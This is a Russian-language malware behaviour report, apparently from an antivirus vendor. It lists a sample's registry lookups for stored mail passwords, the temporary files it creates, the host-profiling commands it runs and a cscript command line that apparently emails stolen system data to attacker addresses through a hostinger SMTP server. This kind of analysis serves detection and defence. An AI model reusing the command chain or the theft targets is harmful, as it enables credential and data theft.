Техническая информация
Вредоносные функции
Ищет ветки реестра, отвечающие за хранение паролей сторонними программами
- [<HKCU>\Software\Microsoft\Internet Account Manager]
- [<HKLM>\Software\Wow6432Node\Microsoft\Windows Mail]
- [<HKCU>\Software\Microsoft\Windows Mail]
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\2951.tmp\phone recognition module.bat
- <Текущая директория>\win.ini
- nul
- %TEMP%\systeminfo++peretasint.txt
- <Текущая директория>\system interrupts.vbs
Удаляет следующие файлы
- <Текущая директория>\system interrupts.vbs
- <Текущая директория>\win.ini
- %TEMP%\2951.tmp\phone recognition module.bat
Сетевая активность
Подключается к
- 'mx#.##hostinger.com':2525
UDP
- DNS ASK google.com
- DNS ASK mx#.##hostinger.com
Другое
Создает и запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\2951.tmp\Phone Recognition Module.bat" "' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\2951.tmp\Phone Recognition Module.bat" "
- '%WINDIR%\syswow64\ping.exe' -n 1 www.google.com
- '%WINDIR%\syswow64\find.exe' "TTL="
- '%WINDIR%\syswow64\ping.exe' -n 1 23.6.98.234
- '%WINDIR%\syswow64\systeminfo.exe'
- '%WINDIR%\syswow64\findstr.exe' /B /C:"OS Name" /C:"System Type" /C:"Host Name"
- '%WINDIR%\syswow64\cscript.exe' /nologo "system interrupts.vbs" cm@ssh.16mb.com cm@ssh.16mb.com "user + secure--.exe (secure sfx) " "mfawktud <- di Skip ( Check Rar ) " mx1.idhostinger.com cm@ssh.16mb.com cm@ssh.16mb.com
